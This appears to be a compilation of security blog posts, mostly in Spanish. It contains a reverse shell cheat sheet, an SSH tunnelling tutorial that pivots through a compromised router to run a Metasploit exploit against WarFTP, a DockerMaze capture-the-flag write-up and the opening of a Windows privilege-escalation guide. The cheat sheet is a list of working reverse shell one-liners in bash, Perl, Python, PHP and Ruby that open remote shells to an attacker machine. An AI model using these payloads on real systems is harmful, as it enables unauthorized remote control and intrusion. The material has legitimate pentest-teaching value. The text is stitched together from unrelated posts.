Gran trabajo y investigación de SBA Research para tratar de mejorar la detección de unos dispositivos cuyo uso estaba, hasta hace unos años, reservado a fuerzas de seguridad y actores estatales pero que a día de hoy están al alcance de prácticamente cualquier atacante.

Simple Reverse Shell Cheat Sheet

El objetivo de este post es facilitar un pequeño listado de algunas maneras fáciles y simples de implementar una reverse shell, algo que tarde o temprano siempre se utiliza en un pentest.

Una reverse shell consiste en crear una conexión remota desde la máquina víctima hacia la máquina atacante, por ejemplo desde una máquina ubicada en una red interna hacia la máquina atacante en Internet, siendo una técnica muy útil para realizar la evasión de un firewall que bloquee las conexiones entrantes a la red interna pero no las conexiones salientes desde la red interna hacia el exterior.

La manera más simple de conseguir una reverse shell es ejecutar un simple netcat “nc -e”, sin embargo, según qué versión de nc haya instalada hay opciones que pueden no funcionar igual, en este caso, el parámetro  “-e”. Por ejemplo, en Kali funciona pero no así en Ubuntu. Para saber qué versión está instalada de “nc” ejecutar “nc -h”.

Para practicar con las reverse shells, en el cliente (máquina atacante, que recibirá la reverse shell) ejecutar el comando “nc -nlvp 8080” para crear una conexión “escuchando” y en el servidor (máquina victima, ordenador que enviará la shell hacia la máquina atacante) ejecutar la reverse shell específica que se desee probar.

En todos los casos, se ha de substituir la dirección IP “” y el puerto 8080 por la dirección IP y el puerto de la máquina atacante.

Bash Reverse Shell

Mediante el uso de /dev/tcp

  • /bin/bash -i > /dev/tcp/ 0<&1 2>&1

Mediante el uso named pipes

  • rm /tmp/blackpipe;mkfifo /tmp/blackpipe;cat /tmp/blackpipe|/bin/sh -i 2>&1|nc 8080 >/tmp/blackpipe
  • rm /tmp/blackpipe;mknod /tmp/blackpipe p && nc 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe

Mediante telnet

  • rm /tmp/blackpipe;mknod /tmp/blackpipe p && telnet 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe

Mediante el uso de descriptores

  • 0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196
  • exec 5<>/dev/tcp/ cat

<&5 | while read line; do $line 2>&5 >&5; done

o bien:

cat <&5 | while read line; do $line 2>&5 >&5;

Perl Reverse Shell

  • perl -e ‘use Socket;$i=”″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
  • perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Y si el sistema objetivo es Windows:

  • perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Python Reverse Shell

  • python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Php Reverse Shell

  • php -r ‘$sock=fsockopen(“”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Ruby Reverse Shell

  • ruby -rsocket -e’f=TCPSocket.open(“”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
  • ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“″,”8080″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

Y si el sistema objetivo es Windows:

  • ruby -rsocket -e ‘c=TCPSocket.new(“attackerip”,”4444″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

Más información

Indicar que todas las reverse shell descritas aquí han sido probadas con éxito en fecha 17 de Abril de 2016 con una distribución Kali como cliente y una distribución Ubuntu como servidor

Por último, se indican algunas de las fuentes más relevantes consultadas para la realización de este pequeño post:

  1. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  2. http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  3. http://bernardodamele.blogspot.com.es/2011/09/reverse-shells-one-liners.html
  4. https://linuxprograms.wordpress.com/2008/02/14/fifo-named-pipes-mkfifo-mknod/

SSH – Port Forwarding

En este post se explicará como realizar port forwarding con ssh y se verá alguna de sus posibles aplicaciones.


El protocolo ssh es comúnmente utilizado para acceder a un terminal/sistema remoto y poder ejecutar comandos de forma segura. Sin embargo, también es posible utilizar este protocolo para realizar port forwarding, es decir, reenviamiento de puertos mediante la creación de túneles ssh entre los extremos de la conexión.

Con este mecanismo es posible realizar evasiones de firewall o bloqueos de puertos, independientemente de que el emisor-receptor se encuentren en redes diferentes, siempre que haya la posibilidad de conectarse mediante SSH.

Escenario de demostración

Para realizar esta demo se han utilizado tres máquinas diferentes en dos redes, externa e interna:

  1. Kali Linux de nombre “Sheron” y IP, con un cliente SSH y cuyo rol es el de ser la máquina atacante. Se encuentra en la red externa.
  2. Kali Linux de nombre “Goku” y con dos direcciones IP: y, con un servidor ssh y cuyo rol es el de router entre la red externa (192.168.1.XX) y la red interna (192.168.2.XX).
  3. Windows XP de nombre “Mutenroshi”, con IP, cuyo rol es ser, como no, la máquina víctima. Se encuentra en la red interna.

Este escenario intenta simular un ataque realizado desde Internet hacia el router de la víctima, y una vez el atacante tiene el control de dicho router mediante el uso de túneles ssh puede interaccionar con las máquinas de la red interna.

Nota: Únicamente el router tiene visibilidad de las dos redes, la máquina atacante no puede ver directamente la máquina víctima.

Parte I: Comunicaciones entre el atacante y el router

Local Port Forwarding entre la máquina atacante y el router

Los actores que participan son los siguientes:

  1. Atacante: Kali Linux con  IP desde Internet
  2. Víctima: Router con IP accesible desde Internet

Nota: En este escenario, el atacante ya ha conseguido previamente un usuario del router

El objetivo es conseguir que un servicio publicado del router sea redireccionado a la máquina atacante. En este caso concreto, se enviará el puerto remoto 80 del router al puerto local 8080 de la máquina atacante.

Para lograrlo, se ejecuta lo siguiente en el cliente ssh ( :

ssh -N -f -L localhost:8080:localhost:80 nyanyi@

La explicación de la instrucción es la siguiente:

  • N: No se ejecutan comandos remotos, únicamente se establece conexión.
  • f: Se envía ssh a background.
  • L: Como el servicio deseado esta siendo publicado por el servidor ssh en el router, no por el cliente ssh en la Kali atacante, se ha de realizar un Local Port Forwarding. El concepto sería que el cliente de ssh se “trae” localmente el servicio remoto publicado por el servidor ssh.
  • <puerto destino del cliente ssh>:<ip origen de la red interna del servidor ssh:puerto origen de la ip de la red interna del servidor ssh> <user@ip_servidor ssh>
  • <local port to listen>:<remote host>:<remote port> <gateway>


Remote Port Forwarding entre la máquina atacante y el router

Los actores que participan son los siguientes:

  1. Atacante: Kali Linux con  IP desde Internet
  2. Víctima: Router con IP accesible desde Internet

El objetivo es conseguir publicar un servicio local del cliente ssh (atacante) de forma remota en el servidor ssh (router). Se enviará el puerto local 80 de Kali Linux con  IP al puerto remoto 8085 del router con IP

Para lograrlo, se ejecuta lo siguiente en el cliente ssh (

ssh -N -f -R localhost:8085:localhost:80 nyanyi@

La explicación de la instrucción es la siguiente:

  • R: En este caso, el servicio se está publicando en el cliente ssh (atacante), por lo tanto hay que “enviarlo” al servidor ssh (router), esto se realiza mediante un Remote Port Forwarding.
  • <puerto destino de la dirección ip del servidor ssh><ip origen de la red del atacante:puerto origen de la ip de la red del atacante> <user@ip_servidor ssh>
  • <remote port to bind>:<local host>:<local port> <gateway>



Para saber si hay que realizar Local o Remote port forwarding, un truco sencillo es “ubicar” el servicio que se desea redirigir. Si el servicio está publicado en el servidor ssh y se desea publicarlo en el cliente, entonces es Local, por el contrario, si el servicio se encuentra en el cliente ssh y se desea publicar en el servidor ssh, entonces será Remote.

Parte II: Atacando a la red interna – Servidor ssh como máquina puente

En este punto, el atacante (Kali Linux con  IP quiere atacar a la máquina víctima Windows XP (IP ubicada en la red interna y que no es visible desde el exterior. Para conseguir este hito el atacante utilizará el router ( que tiene un servidor ssh instalado) como máquina puente.

Local Port forwarding desde la máquina víctima a la máquina atacante 

El objetivo es conseguir redirigir (o para entendernos, capturar) el servicio RDP de la máquina Windows XP (interna) a la máquina atacante  (externa) mediante el servidor de ssh (router)  . En este caso concreto, se enviará el puerto 3389 de Windows XP ( al puerto 9090 de máquina atacante ( utilizando para ello el router (servidor de ssh), como máquina de salto.

Para lograrlo, se ejecuta lo siguiente en la máquina atacante:

 ssh -N -f -L localhost:9090: nyanyi@

La explicación de la instrucción es la siguiente:

  • L: Como el servicio deseado esta siendo publicado por una dirección IP de la red interna del servidor ssh y/o no es un servicio propio del cliente ssh, la máquina atacante realiza un Local Port Forwarding para “traerse” el servicio
  • <puerto destino del cliente ssh><ip origen del lado servidor ssh:puerto origen del lado servidor ssh> <user@ip_servidor ssh>

En este punto es importante remarcar que cuando se realiza un Local Port al cliente ssh, el puerto redirigido puede acceptar conexiones externas de otras máquinas. La instrucción sería:

ssh -N -f -L cliente:ip red interna:port_ip_red_interna user@server_ssh


Remote Port forwarding desde la máquina atacante a la máquina cliente sin usuario root del servidor ssh

En el apartado anterior se ha comentado la posibilidad de permitir conexiones entrantes a un servicio redirigido locamente al cliente ssh. Pero,por seguridad, no es posible permitir que el servidor ssh acepte conexiones entrantes a un servicio publicado mediante Remote Port forwarding… ¿Seguro que no es posible?

La respuesta a esta pregunta es que utilizando diferentes técnicas sí que es posible, pero es un poco más complicado que lo visto hasta ahora. Se puede realizar si el atacante es root del servidor ssh o utilizando dos túneles y/o el parámetro -g (bendito parámetro).

Aceptación de conexiones entrantes mediante dos túneles

El objetivo es conseguir publicar el servidor web de la máquina atacante en el servidor ssh (router) y que la máquina víctima de la red interna se pueda conectar.

En la máquina atacante (cliente ssh) se utiliza la siguiente instrucción:

ssh -R localhost:7894:localhost:80 nyanyi@



Ahora, en el  ROUTER, se ejecuta la siguiente instrucción:

ssh -g -L 8282:localhost:7894 nyanyi@localhost

  • El parámetro g, extraído directamente del man de ssh: Allows remote hosts to connect to local forwarded ports.


Otra manera de hacerlo, inclusive sin el parámetro g es:

ssh  -L nyanyi@localhost


Aceptación de conexiones entrantes siendo root del servidor ssh

En el caso que el atacante disponga del usuario root (o usuarios con privilegios sudo) puede modificar la configuración del servidor ssh para que acepte conexiones entrantes en puertos redirigidos de forma remota.

El fichero que se ha de modificar es: /etc/ssh/sshd_config y se ha de escribir la siguiente opción: GatewayPorts clientspecified

Luego: sudo /etc/init.d/ssh reload

Y finalmente, la instrucción que se ha de ejecutar desde el cliente ssh es:

ssh -R nyanyi@

Nota: En este caso, con una sola instrucción ya sirve, en contraposición con el caso anterior, que se necesitan dos instrucciones. Eso si, se ha de ser root.

Comprobaciones de las conexiones

A continuación se listan varios comandos con “netstat” que se pueden utilizar para comprobar el estado de las conexiones realizadas:

  • netstat -punta
  • netstat -ltn

screen8Parte III: Caso Práctico – Atacando con Metasploit a la víctima

En este punto, el atacante dispone de lo siguiente:

1- Acceso a la maquina router con usuario “low privilege”.

2- Conoce que en la máquina Windows XP se está ejecutando un software vulnerable “WarFTP ver 1.65” en el puerto 21 y que hay un exploit en Metasploit.


3- Al no haber visibilidad entre la máquina atacante y la víctima (redes diferentes) se ha de utilizar la máquina router y su servidor de ssh para redirigir las comunicaciones.

Nota: Los puertos que se utilizan en este escenario (excepto el 21) son aleatorios.

Local Port Forwarding del puerto 21 de la máquina víctima a la máquina atacante

En la máquina atacante, se ejecuta la siguiente instrucción:

ssh -N -f -L 5668: nyanyi@

En este momento, en  la máquina atacante está publicado en el puerto 5668 el puerto 21 (servicio War FTPD vulnerable) de la máquina Windows XP (víctima) utilizando el router como máquina de salto.

Remote Port Forwarding del puerto 2682 de la maquina atacante al servidor ssh

El atacante tiene diferentes opciones para realizar la conexión con el payload, como podría ser utilizar una máquina con una dirección pública o inclusive un payload de conexión directa (bind shell). Pero en esta demo se va a realizar mediante una reverse shell dado que se requiere una configuración más compleja.

Al utilizar Metasploit, es necesario redirigir un puerto de la máquina atacante en el servidor SSH para que el payload (meterpreter) realice la conexión a traves de una  reverse shell hacia este puerto.

En la máquina atacante se ejecuta la siguiente instrucción:

ssh -R 7895:localhost:2682 nyanyi@

Y ahora es necesario configurar en el servidor ssh que se acepten conexiones remotas. Por lo tanto, en el servidor ssh se debe ejecutar alguna de las siguientes instrucciones:

ssh -g -L 2682:localhost:7895 nyanyi@localhost

ssh -L nyanyi@localhost


Nota: Recordar que también es posible modificar la configuración del servidor ssh si se dispone del usuario root.

Configuración del ataque con Metasploit

La configuración del ataque con Metasploit se realiza de la siguiente manera:



  • RHOST: Se indica la dirección ya que el exploit será lanzado contra la misma máquina cliente (atacante) ya que tiene redirigido el puerto de la máquina víctima.
  • RPORT: Se indica 5668 por que es el puerto que redirige al puerto 21 de la maquina víctima. En resumen, se lanzara el ataque a la misma máquina atacante por que mediante la redirección de puertos por ssh realmente el ataque alcanzará a la máquina víctima.
  • Atención: Metasploit y los túneles SSH suelen dar problemas.  Es más recomendable utilizar dynamic port forwarding ( SSH -D port) y las instrucciones “set Proxies socks4:”
    y “set ReverseAllowProxy true”
     que no redireccionamientos con  -L o -R. En el caso de utilizar puertos remotos o locales, como en este ejercicio, no hay que utilizar NUNCA la dirección en RHOST, ya que podría impedir el correcto funcionamiento del exploit/payload utilizado. Se puede substituir por la dirección o semejantes, aunque lo mejor en estos casos, es utilizar la dirección
  • LHOST: Se indica la dirección IP del servidor ssh visible desde la red de la víctima.
  • LPORT: Se indica el puerto redirigido remotamente desde la máquina atacante al servidor ssh.
  • Mediante la configuración de LHOST y LPORT cuando se ejecute el payload, éste intentara conectarse al servidor SSH que a su vez, redirigirá las comunicaciones a la máquina atacante mediante los puertos SSH creados.

A continuación se muestra una imagen de como el ataque tiene éxito:


Nota: Esta fuera del alcance de este post explicar conceptos de metasploit.

DockerMaze challenge write-up

UPDATE 23/11/2015: new info thanks to @nibble_ds, one of the challenge authors, inline the post 🙂

Last November 16-17th the Dockercon eu 2015 was held in Barcelona, and the Schibsted team published the DockerMaze challenge, a labyrinth escape game like those we used to play in the 90s. In the game you wake up alone in the middle of a labyrinth and you have to escape from it, and through a console you can use commands to interact with the environment.

In this post I will show how I had fun solving the challenge! 😀

The “help” command uncovers a set of commands that includes “look”, “interact” and “escape”. If you do “look front” the game says that there are some signs on the wall, and after executing “inspect wall” some clues are revealed:

Found rooms:
  - schibstedchallenge/dockermaze-weisse:latest
  - schibstedchallenge/dockermaze-stout:latest
  - schibstedchallenge/dockermaze-porter:latest
  - schibstedchallenge/dockermaze-ipa:latest
Found Keys:
  - FollowTheWhiteRabbit
Followed path:
  - Input: https://challenge.schibsted.com/assets/data/ct1.bin
  - Output: ?
More than a year and I'm still here. I'm loosing all hope. Maybe there is another key?

A quick inspection of the binary file doesn’t give much information.


Captura de pantalla 2015-11-21 a las 23.05.11

Next step was to download the docker images and to inspect them:

docker pull schibstedchallenge/dockermaze-weisse:latest
docker pull schibstedchallenge/dockermaze-stout:latest
docker pull schibstedchallenge/dockermaze-porter:latest
docker pull schibstedchallenge/dockermaze-ipa:latest

Let’s play with those docker images then 🙂


docker inspect schibstedchallenge/dockermaze-weisse:latest

Relevant info:

"Entrypoint": [
"ExposedPorts": {
 "1954/tcp": {}

Captura de pantalla 2015-11-21 a las 23.39.25

Seems that there’s a ruby application (“weisse.rb”) listening at the port 1954/tcp, that is executed by the bash script “start.bash”. Inside that script additional information is given:

# We use eureka + prana for service discovery.

This clue will be useful later 🙂

Looking at the “weisse.rb” file I saw that the application exposes a REST endpoint (“/turing”) that runs the received data in an Enigma machine. Furthermore, to set up the enigma machine it tries to get some information making DNS requests to a host with name “porter”.

Here are some snippets of it 🙂

BFBASE = 'aaa'
set :bind, ''
set :port, 1954
post '/turing' do
 data = request.body.read
 rotors = get_rotors('porter')
plugboard = Hash[*PLUGBOARD.pack('H*').split('')]
 rotors.map! do |r|
 Hash[[r].pack('H*').split('').zip((0...256).map{|i| i.chr})]
 reflector = Hash[*REFLECTOR.pack('H*').split('')]
 enigma(data, plugboard, rotors, reflector)
def get_rotors(nameserver)
 rotors = []
Resolv::DNS.open({:nameserver=>[nameserver]}) do |r|
 ctr = 0
loop do
 n = r.getresource("walzen-#{ctr}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.to_i
 rescue Resolv::ResolvError
bf = BFBASE.dup
 found_chunks = 0
 rotors[ctr] = ''
while found_chunks < n
 ck = r.getresource("walzen-#{ctr}-#{bf}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.delete('"')
 rotors[ctr] << ck
 found_chunks += 1
 rescue Resolv::ResolvError
ctr += 1


docker inspect schibstedchallenge/dockermaze-stout

Relevant info:

"Entrypoint": [
"ExposedPorts": {
 "31337/tcp": {}

But an error is raised when trying to run the docker image:

Captura de pantalla 2015-11-22 a las 0.06.51

As the container didn’t start due to the error, I changed the entry point of the container to be able to snoop the “stout.py”.

docker run -ti --entrypoint /bin/bash --name stout schibstedchallenge/dockermaze-stout
docker cp stout:/usr/local/bin/stout.py .
#!/usr/bin/env python
import os
import sys
import socket
import base64
from datetime import datetime
from dns import resolver
from flask import Flask, request, make_response
app = Flask('stout')
def xor(data, key):
 return "".join(map(lambda i: chr(ord(data[i]) ^ ord(key[i%len(key)])), xrange(len(data))))
def transform(data):
 s = socket.socket()
s.connect(('ipa', 6060))
 s.sendall(base64.b64encode(data) + "\n")
 ret = s.makefile().readline().decode('base64')
 return ret
@app.route("/gate", methods=['POST'])
def gate():
 t1 = datetime.now()
data = request.stream.read()
dns_resolver = resolver.Resolver()
dns_resolver.nameservers = [PORTER_HOST]
 dns_answer = dns_resolver.query('bitwise.dockermaze', 'TXT')
 secret = dns_answer[0].to_text().strip('"')
ret = transform(xor(data, secret))
t2 = datetime.now()
resp = make_response(ret, 200)
 resp.headers.extend({'X-Dockermaze-Time': t2-t1})
return resp
if __name__ == '__main__':
 if not PORTER_HOST:
 sys.exit('error: cannot get key')
 app.run(host='', port=31337)

What can be seen is that the script is publishing a REST endpoint that XORes the received data with a secret, obtained through a DNS request to the “porter” host (you have to provide its IP by an envvar), and sends the result to the “ipa” host.


docker inspect schibstedchallenge/dockermaze-porter

Relevant info:

"Entrypoint": [
"ExposedPorts": {
 "53/tcp": {}

As suspected providing the info obtained from the “stout” and “weisse” containers, the porter looks like a DNS server.

Captura de pantalla 2015-11-22 a las 13.08.35

Bingo! one of the entries present in the “db.dockermaze” dns zone configuration for bind contains the secret key needed by “stout.py” to work (between other relevant entries we’ll see below).


docker inspect schibstedchallenge/dockermaze-ipa

Relevant info:

"Entrypoint": [
"ExposedPorts": {
 "6060/tcp": {}
"Env": [

The golang traces clearly point to @nibble_ds as one of the crime authors 😉

When trying to run the “ipa” image, an error is raised:

2015/11/22 12:20:20 error: envvar AES_KEY not defined

Let’s try to get more info of it:


Captura de pantalla 2015-11-22 a las 13.34.52

As can be seen the container also makes use of Prana and Eureka (parts of the Netflix stack), and runs a “ipa” golang binary. In this case, the challenge authors made our life easier giving us the source code too ;). In any case, the bin was not stripped.

$ file ipa
ipa: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

Snooping the source code of the “ipa” application (“ipa.go”), we can see that it listens to the port 6060/tcp, and decodes (base64) and decrypts the received data, using AES-256 CTR mode using a key provided by the environment variable “AES_KEY”. The result is sent to the “weisse” REST endpoint and the returned data is base64 encoded and sent back to the caller.

Snippets FTW!

var AesKey = os.Getenv("AES_KEY")
func main() {
ln, err := net.Listen("tcp", ":6060")
func handleConnection(conn net.Conn) {
 defer conn.Close()
br := bufio.NewReader(conn)
 line, err := br.ReadString('\n')
data, err := base64.StdEncoding.DecodeString(line)

 decdata, err := decrypt(data, []byte(AesKey))
transdata, err := transform(decdata)
ret := base64.StdEncoding.EncodeToString([]byte(transdata))
fmt.Fprintln(conn, ret)
func transform(data []byte) (transdata []byte, err error) {
 c := goprana.NewClient(goprana.DefaultPort)
 resp, err := c.Post("weisse", "/turing", "application/octet-stream", bytes.NewReader(data))
 if err != nil {
 return nil, err
 defer resp.Body.Close()
return ioutil.ReadAll(resp.Body)



OK so, let’s put all the pieces together:

  1. The “stout” machine expects some data to be received by a POST HTTP method to its REST endpoint, listening at the 31337/tcp port. He gets a secret key from the “porter” machine (via DNS request) and after applying a transform to the received data, sends it base64 encoded to the “ipa” host.
  2. The “ipa” host receives the data sent by “stout”, decodes it (base64) and decrypts it using the provided AES_KEY via envvar. Then sends the decrypted data to the “weisse” endpoint.
  3. The “weisse” endpoint applies an enigma decryption to the received data, getting information about the rotors through DNS requests to the “porter” DNS server, and returns the decrypted data to the “ipa”.
  4. The “ipa” base64-encodes the response and returns it to “stout”.
  5. The “stout” machine decodes the bas64 response and delivers it to the caller.

On the other hand we had the “ct1.bin” file and the “FollowTheRabbit” key, so we can make the below assumptions:

  • The AES_KEY is “FollowTheRabbit”.
  • The “ct1.bin” is the encrypted data we want to decrypt using the container chain.

So we need to link the containers in order to let them talk to each others, taking into account that “weisse” and “ipa” use Prana & Eureka to communicate.

Note of the author: Juan told me that would be great to put a diagram in this place to improve the explanation, but… I’ll do it only for a beer. If you want a diagram just make me happy and bring me one!  ;-P

UPDATE 23/11/2015: nibble provided this awesome diagram 🙂



This is what I did:

docker pull netflixoss/eureka:1.1.147
docker run -d --name eureka netflixoss/eureka:1.1.147
docker run -d -P --name porter schibstedchallenge/dockermaze-porter
docker run -d -P --name weisse --link porter:porter --link eureka:eureka schibstedchallenge/dockermaze-weisse
docker run -d -P -e "AES_KEY=FollowTheWhiteRabbit" --name ipa --link weisse:weisse --link eureka:eureka schibstedchallenge/dockermaze-ipa
docker run -d -p 31337:31337 --name stout --link ipa:ipa --link porter:porter schibstedchallenge/dockermaze-stout

And then I waited some minutes before sending the requests to the “stout” endpoint (due to the advice found in the “start.bash” file):

curl -v -X POST --data-binary @ct1.bin http://localhost:31337/gate --header "Content-Type:application/octet-stream"

Captura de pantalla 2015-11-22 a las 19.02.35

OK, I was on the right path but unfortunately I was not attending the Dockercon :(. Fortunately after the con @nibble_ds sent me the key they were giving in the Schibsted booth (thanks sir!).


When scanned the QR code a snippet of ruby code appeared:

puts 'z4LufsdfTf{bNsfldpE'.bytes.map { |ch| (ch.ord - 1).chr }.reverse.join

After executing it you get the new key! (“DockerMazeSecretK3y”).

We should be close, but when I tried again the same “curl” command but modifying the AES_KEY, the “ct1.bin” didn’t work as the encrypted message. Where could we get a new message?

I remembered the DockerMaze “escape” command that receives a parameter “ip”. So I did a DNAT from my public IP to the 31337/tcp port of the “stout” (PublicIP:31337 -> PrivateIP:31337), and executed:

escape x.x.x.x

Where “x.x.x.x” was my public IP, and I got:

Trying to escape... Wait...
Hummm… Everything seems to be okay but you must be faster… 20.040787 seconds is too much

So we need to make something to be faster. After inspecting what part of the chain triggered more, the “weisse” component stood up as highly inefficient. The problem was in this loop when getting the rotors:


BFBASE = 'aaa'

def get_rotors(nameserver)
 rotors = []
Resolv::DNS.open({:nameserver=>[nameserver]}) do |r|
 ctr = 0
loop do
 n = r.getresource("walzen-#{ctr}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.to_i
 rescue Resolv::ResolvError
bf = BFBASE.dup
 found_chunks = 0
 rotors[ctr] = ''
while found_chunks < n
 ck = r.getresource("walzen-#{ctr}-#{bf}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.delete('"')
 rotors[ctr] << ck
 found_chunks += 1
 rescue Resolv::ResolvError
ctr += 1

Most of the requested DNS entries were like these:

walzen-0 IN TXT "4"
walzen-0-aaa IN TXT "7b57e0a216b65a40534e4c8bcc787a8e5b3722657dcfb0d199950688ef0c718cbf1094bd0ff7d687c69cfba09d42caaa13d4cdb24f8f892877b4a91f596b2615"
walzen-0-aab IN TXT "6f48936c561d66625e31702143c2978ddaf19f60dcfd340e3b3c2b725404a820613ad369ae0a30a5b76de14d08d041337c02ceacbed5e7c3deee67ad7f63f529"
walzen-0-aac IN TXT "f3523e2746b1e524a48451ff1e5c92f6d796b9b89036c43d8ae8f486c7c1bc2ea601499e6eab81e383c0392c2d0514f0e9324af985507efa116a743523cb00fe"
walzen-0-aad IN TXT "1a68df6455c8ec914476fcc5808279f298ed3f5dbba7a3b54b250309d92f17a112b307db75eb1c2af8dd38e473d819afd2e2ea1be6c90b589aba5f470d18459b"
walzen-1 IN TXT "4"
walzen-1-aaa IN TXT "0ec8580062742e72c3d96fc76d4f21bacdf03887256bb7c9d42a27c5cb43e216405163e7a3427a071033ea3944899f88d63f83e41d91ad1a19b39c455c041294"
walzen-1-aab IN TXT "ac8ccfafe184de033afdf13ddcdfd27b8b86989e82d1ffbca99290fbc4a115c2eba05323be80060a30eeaed3689385148aa56e37a6bb4a1bef0db5bd34dbf846"
walzen-1-aac IN TXT "eddd05480c7df9c6d0b69b591eb48f7f20175022f4577170ab7ea78e77b04c5d4e029dbf47fa3e8d49e3d83b4b816999ecb178f561081c292f2b6097544136f7"
walzen-1-aad IN TXT "18a46635e9b9f6d756753cf35f65e0aac1266c7c5ba25231e5e60bce0f2cb82432da675a09132d5e9acafc76a8110155b2c04d1ff2d5fe73cce8966a79286495"

But some of them were not consecutive, leading to a lot of unnecessary failed DNS requests. For example:

walzen-9 IN TXT "4"
walzen-9-aaa IN TXT "3a8a13373496029d73b8d44e23147e947f45d5fd8640073f2ff7953858bb5ce076cfbef68860d8986a7a8fc8ad26d9d3f8fc9fee0e56ed65b14cb0fe84acc724"
walzen-9-aab IN TXT "299cda0f3001505a3caf0b99e2c380f3b532161aa861b2f00675dfa4d08da0ea550dcc53f581692a5bd6d119744272fac0b7db8c6210ffbc8bc9a166bacd9305"
walzen-9-aac IN TXT "a76f638943aae11d925d680948e4672dd252ab54495fc2caf27cf45133b65e7d6ba6820a1225398e214b274dbd00596efbefe6229e18473b20c56de3c135153d"
walzen-9-rzd IN TXT "644fe5f18583ebf9c62e1e1f7bc4ecdd44b4ce70a5086c4ad7579a17a9413e3171bfde11790c877704a2a3e8b32891369bb946e9ae2b2c1bcbe797781c90dc03"

So what I did is to edit the “db.dockermaze” configuration file to make them all consecutive and updated the docker image.

docker cp ./modified-db.dockermaze porter:/etc/bind/db.dockermaze
docker commit porter redsadic/dockermaze-porter:v2
docker run -d -P --name porter redsadic/dockermaze-porter:v2

And when I ran the “escape x.x.x.x” command again… Voilà!

Trying to escape... Wait...
You put the key in the lock and... the door opens! 
Congratulations! You are out of the labyrinth! 
Send an email with the following info to big.ideas+DockerMaze@schibsted.com:
- IP used to escape
- Short explanation about how you escaped

Wohoooo! challenge solved! 😀

I would want to thank the Schibsted team because I really had a lot of fun with the challenge! Thank you guys! 😀

And that’s all folks!

UPDATE 23/11/2015: some easter eggs from the challenge authors :

  • The hostnames are different kind of beers
  • The STOUT endpoint is /gate because it implements a XOR (a logic gate)
  • The IPA exposed port is :6060 or GOGO 😀
  • The WEISSE (enigma) endpoint port is 1954, the year Alan Turing died
  • Also the endpoint /turing is in honor of him, due to his contribution breaking enigma
  • The DNS records where the rotors are stored are called “walzen-x-yyy”. Walzen means rotor in german
  • And…
    • STOUT is the kind of beer that nibble likes less, this is why he did it in python (as a good python hater he is)
    • IPA is one of his favorites beers, and he did it in go 😉
    • WEISSE is other kind of beer he loves, for this reason it is ruby!

PD: looks like the https://challenge.schibsted.com site is down now. Too late if you want to play the challenge now ;(

UPDATE 23/11/2015:

PD: the challenge is now available at http://challenge.schibsted.com. If you wanna play, go for it!!!


Escalada de privilegios en sistemas Windows (I)

En esta serie de posts hablaremos de cómo realizar una escalada de privilegios en un sistema Windows, es decir, llegar a ser SYSTEM desde una cuenta de usuario sin privilegios.

En ocasiones la principal estrategia utilizada se basa en probar exploits para la versión de windows del objetivo, y aunque esto puede ser efectivo un gran numero de veces, queremos presentar una breve guía divida en fases que permitan al pentester realizar la escalada de privilegios de una forma ordenada, eficiente y probando diferentes vectores de ataque.

Remarcar que actualmente existen muchas referencias en Internet que tratan este tema siendo algunas de las principales las mencionadas a continuación: 

  1. FuzzySecurity
  2. Encyclopaedia Of Windows Privilege Escalation – Brett Moore
  3. Windows Attacks At Is The New Black – Rob Fuller And Chris Gates
  4. Windows Privilege Cheatsheet
  5. Windows_Services – All roads lead to SYSTEM
  6. Windows privilege escalation

En nuestro caso queremos hacer una síntesis de ellas y explicarlas paso a paso, sin embargo, señalar que queda fuera del alcance de este post como conseguir la Shell en el sistema.

Aclarado todo, empecemos, tenemos una Shell en una maquina Windows, molto benne…¿y ahora que demonios hacemos?

¿Dónde estoy? ¿Qué es ESTO? – Information gathering

Bien, en estos momentos, disponemos de una Shell en un sistema Windows. Antes de lanzarnos al ataque y disparar a todo lo que se mueva, es esencial realizar la fase de Information gathering. 

Lo principal es no obcecarse con ser SYSTEM, primero hay que conocer el entorno, cuanta más información  se tiene del activo más fácil es detectar un posible fallo de seguridad.

Información general

Sin ninguna duda, lo primero es obtener la versión exacta de Windows (OS Version) y (OS Name)  y información genérica. Para este propósito, se ejecuta el siguiente comando:

  • systeminfo



  • Otra posibilidad: systeminfo | findstr /B /C:”OS Name” /C:”OS Version” (ojo con los idiomas)



Ok, ahora vamos a saber como se llama el host, que aunque parezca no relevante, siempre nos puede aportar información o alguna pista.

  •  hostname



Finalmente, es el momento de saber con que usuario estamos logged en el sistema, a lo mejor ya somos admin y no hace falta hacer nada más, aparte de celebrar una gran fiesta.

  • echo %username%



  • whoami


Información sobre usuarios

Siguiente paso, todo sistema operativo tiene usuarios que lo utilizan, miremos que usuarios tiene nuestro objetivo:

  • net users – net user $name_user


